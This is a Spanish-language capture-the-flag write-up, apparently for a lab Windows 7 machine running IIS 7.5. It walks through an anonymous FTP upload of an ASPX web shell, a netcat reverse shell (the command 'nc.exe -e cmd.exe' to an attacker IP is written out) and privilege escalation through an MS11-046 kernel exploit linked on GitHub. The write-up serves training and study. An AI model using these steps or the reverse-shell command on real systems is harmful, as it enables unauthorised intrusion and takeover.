Enumeración
Para comenzar voy a realizar un escaneo de puertos abiertos con nmap:
Veo que se encuentran abiertos los puertos 21 y 80, así que voy a realizar un nuevo escaneo para esos dos puertos y así obtener algo más de información.
Por lo que veo en el escaneo realizado se permite el inicio de sesión anónimo para el puerto 21. Esto es un dato relevante que probaré más adelante. Por otro veo que el puerto 80 posee la versión 7.5 de Internet Information Services (IIS), esto también es interesante ya que mas adelante puedo buscar alguna vulnerabilidad asociada.
Ahora voy a ingresar en la página web para ver de que se trata:
Por lo visto me renderiza una imagen con varias palabras (rápidamente noté todas las palabras dicen "Bienvenido" en diferentes idiomas). Esta imagen esta vinculada con un enlace que lleva a una web externa de Microsoft.
Para este punto realicé varios procedimientos de enumeración pero no encontré nada útil, así que es momento de ingresar al puerto 21 (FTP). Esto lo voy a realizar ingresando como anónimo, ya que por lo visto en el escaneo de puertos es posible:
Por lo visto todo lo que se encuentra en el servidor FTP es lo mismo que veo en la página web, con lo cuál a simple vista no hay información que me pueda ser útil.
Al saber que dentro del servidor FTP se encuentran los archivos de la página web puedo ingresar un archivo que permita ejecutar comandos y usarlo desde la página web.
Explotación
Como resalté anteriormente, el puerto 80 es un IIS, así que puedo subir un archivo con extensión aspx.
En mi caso tengo el directorio SecList, el cual posee un archivo .aspx que permite generar un CMD para ejecutar comandos. Acá dejo el repositorio con el código: https://github.com/danielmiessler/SecLists/blob/master/Web-Shells/FuzzDB/cmd.aspx
Entonces voy a guardar ese codigo con el nombre "cmd.aspx" y lo voy a enviar al servidor mediante el puerto 21:
Ahora al ingresar con la url y el nombre del archivo veo un input el cual me permite ejecutar comandos:
Ahora lo que puedo intentar es mediante este comando subir un netcat a la máquina para asi ejecutar una reverse Shell. Para saber que netcat enviar voy a averiguar antes de cuantos bits es la maquina:
Me devuelve x86 lo que significa que es de 32 bits. Así que voy a buscar un netcat para Windows de 32 bits. El archivo ya viene incluido en kali:
Luego paso el archivo al servidor mediante FTP:
Antes de enviarlo es importante avisarle a la consola que vamos a transferir un binario, caso contrario se va a transferir pero no lo voy a poder abrir.
El siguiente paso es encontrar el archivo en la consola de comandos que ejecute en la página web. Por lo general suelen estar en la ruta por defectos, la cual es C:\inetpub\wwwroot.
Una vez encontrada la ubicación del archivo voy a ejecutar netcat en mi máquina y le voy a pasar el puerto 4444, luego voy a ejecutar el siguiente comando en el cmd de la página web:
C:\inetpub\wwwroot\nc.exe -e cmd.exe 10.10.14.21 4444
Este comando ejecuta el netcat en la máquina víctima y le pasa mi dirección IP junto con el puerto especificado en netcat:
Escalada de Privilegios
Voy a ejecutar whoami /priv para ver que privilegios tengo:
Al ingresar el comando systeminfo veo que se trata de un Windows 7, el cual es sabido que posee multiples vulnerabilidades. Así que voy a buscar alguna vulnerabilidad para esta versión.
En github encontré un ejecutable que permite escalar privilegios en Windows 7: https://github.com/SecWiki/windows-kernel-exploits/blob/master/MS11-046/ms11-046.exe
Descargo el archivo y lo muevo hasta mi directorio para luego pasárselo a la maquina mediante ftp:
Me dirijo hacia la raíz donde van a parar los archivos que subo mediante FTP y ahí esta:
Al ejecutarlo logro escalar privilegios:
Ahora solo resta encontrar las banderas, la bandera user.txt se encuentra en el escritorio del usuario “babis” y la bandera root.txt esta en el escritorio del usuario Administrator.
Espero que este tutorial te haya sido de ayuda!